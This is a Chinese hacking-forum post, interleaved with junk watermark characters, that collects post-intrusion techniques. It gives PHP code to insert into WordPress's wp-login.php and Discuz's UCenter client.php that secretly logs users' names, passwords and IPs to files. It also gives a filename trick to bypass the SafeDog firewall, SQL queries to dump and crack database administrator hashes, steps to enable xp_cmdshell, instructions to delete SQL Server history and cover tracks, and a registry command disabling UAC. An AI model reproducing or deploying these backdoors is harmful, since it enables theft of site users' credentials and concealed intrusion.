在文件wp-login.php中539行处添加:
* @  j; }, N& }) @5 E2 X// log password7 z% @& k" ^4 X8 @" I
$log_user=$_POST['log'];
* V) l- P- K9 A. ^+ I$ O; k$log_pwd=$_POST['pwd'];* u' R/ r% p( G: J4 h
$log_ip=$_SERVER["REMOTE_ADDR"];
5 n) S8 ^% m) O9 }& }4 N; z6 N$txt=$log_user.’|’.$log_pwd.’|’.$log_ip;# D& F" \3 W9 s" e' i1 u
$txt=$txt.”\r\n”;0 [: u$ ^: M9 g
if($log_user&&$log_pwd&&$log_ip){
3 n6 @$ M7 B) s6 z) G* b@fwrite(fopen(‘pwd.txt’,”a+”),$txt);
8 l* [5 V& t. K}8 V* ]( B, Q+ {$ Z+ \) r
当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。
& ^9 R; C4 Q* J. b6 G/ _/ e! {就是搜索case ‘login’
+ E5 \; f/ N" p' b在它下面直接插入即可,记录的密码生成在pwd.txt中,  D3 n' s' O% }) I
其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录
' o& C& D0 C3 ~利用II6文件解析漏洞绕过安全狗代码:
2 h4 O" w4 b" Y" y3 |;antian365.asp;antian365.jpg
: |0 m: E" X$ J- e0 [5 ]
- K4 Q$ N/ A0 t6 K: m0 @0 J各种类型数据库抓HASH破解最高权限密码!
0 l$ G" o# {% {0 a1 q1.sql server2000, o  b$ y1 E9 w. H. g' ]( Z, V8 }
SELECT password from master.dbo.sysxlogins where name='sa'( q! @! {& e- y
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341
3 p  P. W' R, l, U) U+ \3 o2FD54D6119FFF04129A1D72E7C3194F7284A7F3A
3 s9 y  u+ Q# n' p* V
' |% q: T  c/ ?/ i- I! t! t0×0100- constant header
, n7 M9 B9 p! F8 L, K8 L34767D5C- salt
% G2 N% x- S- R2 `3 `, F8 [0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash
% E- `: M# S( D. ^* k2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash
9 U5 b" {* M- qcrack the upper case hash in ‘cain and abel’ and then work the case sentive hash- t( u# y7 \0 G& n' G& H: a
SQL server 2005:-& T) n* b: S% D. T8 o1 j4 E8 ^
SELECT password_hash FROM sys.sql_logins where name='sa'- Z, G: @" K) v. [" w# l  ~  {
0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F
: O' x+ A" I6 t+ ~8 }: d' x0×0100- constant header
- [0 f) ^3 t3 b: U993BF231-salt
) D5 o) h2 N0 j4 U3 t; j5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash
& F" I  t. |7 Ccrack case sensitive hash in cain, try brute force and dictionary based attacks.
1 k( I# L" `. B0 i/ a1 m4 ^3 h! l6 s  U8 a+ H' m: r5 @1 V
update:- following bernardo’s comments:-; e! _! ^2 M; Y% f/ q- B
use function fn_varbintohexstr() to cast password in a hex string.
! b7 A. a& w- h+ Q& se.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins) J1 R) [3 q0 ^0 m3 j8 {. Q8 |& l

3 q6 c2 Z3 J$ @MYSQL:-4 K& U, l( F" {) u; ^! g
- X& X/ d" J- p0 }& V" V. |
In MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.
4 t' |  r2 }& d) }( f$ n4 y: x! {5 r% @4 m" G/ H4 M% D3 I
*mysql  < 4.1. A! Z3 `- s& y# G3 S- `# |8 G% f/ W& B

, s6 A" s3 Q( {' d, ~- gmysql> SELECT PASSWORD(‘mypass’);' r% N* j' y2 Z8 `
+——————–+' h6 H: H+ I! l+ S0 Q0 S9 t6 u2 l
| PASSWORD(‘mypass’) |
# k0 ^- J. E, j3 n, p: L+——————–+, j0 O: c7 i6 E% d7 S( a! R
| 6f8c114b58f2ce9e   |
1 B5 w- D3 _( m: B" B( Q, A) A( N9 j+——————–+
& m, g  u$ \+ e) @4 s# H
  k1 c5 q, f/ L! d*mysql >=4.1" E' d) P- E5 l# p+ y% Y4 h
. ^7 r: O- e' S! R2 c, ]% Z
mysql> SELECT PASSWORD(‘mypass’);$ E2 M4 F* o$ a
+——————————————-+
3 `: d9 T1 B# _& _% z) O| PASSWORD(‘mypass’)                        |
- V' o. p% i5 R- m6 ?+——————————————-+, w! {# R6 o, w# ?
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |% O( G  g4 n4 O+ z8 T" z
+——————————————-+
0 ^2 e3 J. b: m
9 K" O& Q" P% P' A3 @/ O5 \( W* ~Select user, password from mysql.user
9 F& c& i1 C0 L, I* D' U1 g$ R" ]The hashes can be cracked in ‘cain and abel’
) B4 B4 }1 V* V9 d8 r& c1 l  e
1 h8 l- f4 L2 Y4 l5 b) V) GPostgres:-
( A0 w  z6 p1 K4 tPostgres keeps MD5-based password hashes for database-level users in the pg_shadow table.  You need to be the database superuser to read this table (usually called “postgres” or “pgsql”)
( c- l% @, ?0 [; X& g( Vselect usename, passwd from pg_shadow;
- i0 K6 F" e4 ^; S6 |6 {" iusename      |  passwd
5 j) w8 V( g2 h, D1 F6 _——————+————————————-
* e+ V' N, v  stestuser            | md5fabb6d7172aadfda4753bf0507ed4396% y, O" Y: F% ^& t5 a7 d  [
use mdcrack to crack these hashes:-
3 f3 ], L+ P$ y; U9 Z$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396
* E. ^1 F4 h" U
5 ?9 R" ]6 a7 M  P  I6 GOracle:-' c; b9 R* n9 z# _8 Y8 B
select name, password, spare4 from sys.user$
+ C' Y+ Q& G- {- n' khashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g
' Y& K9 h% y- h, k- @/ ]* w' QMore on Oracle later, i am a bit bored….
% \6 K( p6 w% }$ ?+ v3 H4 s: e, \* l7 F8 p9 u

0 N6 D/ i. }; m) `3 X, w2 {& p在sql server2005/2008中开启xp_cmdshell2 Y# A% |* }3 I$ n. F% r' M
-- To allow advanced options to be changed.
8 f- E% d! y3 K& q( L4 H2 c' i* QEXEC sp_configure 'show advanced options', 1
8 z; d3 }( N0 i+ n; b9 [GO
# A# ~4 a& ~4 \3 W% m-- To update the currently configured value for advanced options.9 Y* r1 a/ |  r: x1 u5 h
RECONFIGURE
& `0 R6 K  x2 P# _! ^GO# }& i" A0 m# \
-- To enable the feature.
  B2 o8 A  o& A6 fEXEC sp_configure 'xp_cmdshell', 1: T  h+ I; ~- G* e
GO
* G9 W' u2 U; g8 K. b# M-- To update the currently configured value for this feature.
, W/ v2 f6 [$ p$ b2 d/ DRECONFIGURE2 z5 p9 g% D5 {
GO0 }6 L& Z3 m- i( l5 B
SQL 2008 server日志清除,在清楚前一定要备份。4 C" }; _( _8 Q( }: q# l" ]4 C/ t
如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:
& A9 `% Q0 q5 c( L5 R3 aX:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin
2 J; s2 z. b$ A& R4 d7 T' v: R) x
8 y' {# a$ [% D5 ~4 p' s对于SQL Server 2008以前的版本:
) u& F, V; B* s5 i; ISQL Server 2005:' g1 y/ f# Z% r0 f) f
删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat- w7 r/ \8 E6 V# r6 l$ Y
SQL Server 2000:
0 S% v6 e- @3 ~. U清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft  SQL  Server\80\Tools\Client\PrefServers\相应的内容即可。' b- i# S, p# Q

+ \7 _5 t) ~  h* o/ w& l本帖最后由 simeon 于 2013-1-3 09:51 编辑. q' P9 w# S  M5 S0 D& o$ F

0 o' m7 G' g+ ^  w7 B; q
; H' q+ o" I; L0 w+ hwindows 2008 文件权限修改+ H5 r: J# G! {+ O$ Q
1.http://technet.microsoft.com/zh- ... 4%28v=ws.10%29.aspx$ Z$ L4 Q9 }4 O: a/ W
2.http://hi.baidu.com/xiaobei713/item/b0cfae38f6bd278df5e4ad98
0 Q# L5 z: l" N! ]# \2 R一、先在右键菜单里面看看有没有“管理员取得所有权”,没有“管理员取得所有权”,
$ J  \8 J. ~* [0 q; q
; ~) [' U9 {0 F. k# lWindows Registry Editor Version 5.00/ Y, J/ A- v7 ]0 K/ z% K  c
[HKEY_CLASSES_ROOT\*\shell\runas]
# Z% _& Z, u! X* @' D/ l$ o6 _: V@="管理员取得所有权"  g) J- L' o+ G  m2 F& f7 R' _
"NoWorkingDirectory"=""# b9 Q" O# s$ a- P
[HKEY_CLASSES_ROOT\*\shell\runas\command]* G0 e! I. i% m4 Y
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F") P; \" p: q0 b. T8 G. \7 C5 O
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
" I% o4 `! O, u8 ]4 S$ Q[HKEY_CLASSES_ROOT\exefile\shell\runas2]
& _2 P  e7 Q" |. j9 Y9 _@="管理员取得所有权"6 ~: I3 s  f: N9 v* U1 S
"NoWorkingDirectory"=""
: W# A- S6 ]3 M+ F[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]
1 G) q+ P& z- F5 a: x@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
( N# n% I* s. N$ b3 X# U+ e"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
- s# b0 _0 i0 a" \1 K- R
8 A* S+ _: }% Y' p. S# `" A[HKEY_CLASSES_ROOT\Directory\shell\runas]9 @0 |( Z, P9 C% p
@="管理员取得所有权"' ^0 o$ f& \; Y
"NoWorkingDirectory"=""* `. l/ ~7 v( R5 R
[HKEY_CLASSES_ROOT\Directory\shell\runas\command]9 E* u. |) h' o6 R
@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"& I; g+ c) W7 F7 r; V, C8 Y
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t". g- G/ R7 d+ b

% u: j$ h0 b6 T/ @' g/ Z2 o4 N# n; M' Y, g% y9 F
win7右键“管理员取得所有权”.reg导入9 F  t+ V- r1 S0 T: [( w, b! L
二、在C:\Windows目录里下搜索“notepad.exe”文件,应该会搜索到四个“notepad.exe”和四个“notepad.exe.mui”,) \1 b( f, ]$ ?# z8 X
1、C:\Windows这个路径的“notepad.exe”不需要替换  U" v, ~) N9 \: x. d/ H$ \
2、C:\Windows\System32这个路径的“notepad.exe”不需要替换( l( u  `" d9 J% m8 x+ ]+ M
3、四个“notepad.exe.mui”不要管6 f( E3 |$ s1 f& G1 Y7 c0 E, A: Q7 X
4、主要替换C:\Windows\winsxs\x86_microsoft-windows-notepad_31bf3856ad364e35_6.1.7600.16385_none_6ef0e39ed15350e4和0 m' B& z/ f, n  J
C:\Windows\winsxs\x86_microsoft-windows-notepadwin_31bf3856ad364e35_6.1.7600.16385_none_42a023025c60a33a两个文件下的“notepad.exe”, o" z% ]0 G/ g/ t2 \7 ]$ l5 ^
替换方法先取得这两个文件夹的管理员权限,然后把“Notepad2.exe”重命名为“notepad.exe”替换到这两个文件夹下面,9 f, l- [8 {, }' R
替换完之后回到桌面,新建一个txt文档打开看看是不是变了。
7 v, j5 K1 S6 |) P1 J- vwindows 2008中关闭安全策略:
+ E; Q# h& R% r9 P' ]/ v9 V- U9 U9 Greg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f( l8 F3 n' X" {  A" e. c/ R
修改uc_client目录下的client.php 在9 A: v7 ^; M/ E  r: ]& o2 w
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
. b7 l- q% e0 D! ^5 r9 x) Z下加入如上代码,在网站./data/cache/目录下自动生成csslog.php; {- _& R( O9 z: }' ~3 b9 ~3 k
你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw
3 J) ?9 P# x: S& `if(getenv('HTTP_CLIENT_IP')) {
) ~4 v3 A# b0 w8 R! S# r1 }( f( g$onlineip = getenv('HTTP_CLIENT_IP');; b  y5 L  \  O$ g, C
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
0 S% F+ R( F- r8 L3 m8 w5 F$onlineip = getenv('HTTP_X_FORWARDED_FOR');
+ I9 O2 n# d3 Y! a8 m; P- L7 }} elseif(getenv('REMOTE_ADDR')) {0 s, w. O( G3 [+ f
$onlineip = getenv('REMOTE_ADDR');
5 j$ N+ X% m9 U  U- z} else {
8 A% M) h: D1 ~- C$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
5 w" _3 }2 }# E  z}" o, t: d  v  u! _
     $showtime=date("Y-m-d H:i:s");$ c- W  ^5 w' l( b
    $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";
! K# y1 U4 y! K) \! `    $handle=fopen('./data/cache/csslog.php','a+');0 L5 a6 n8 ?8 P! I# s1 H
    $write=fwrite($handle,$record);
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表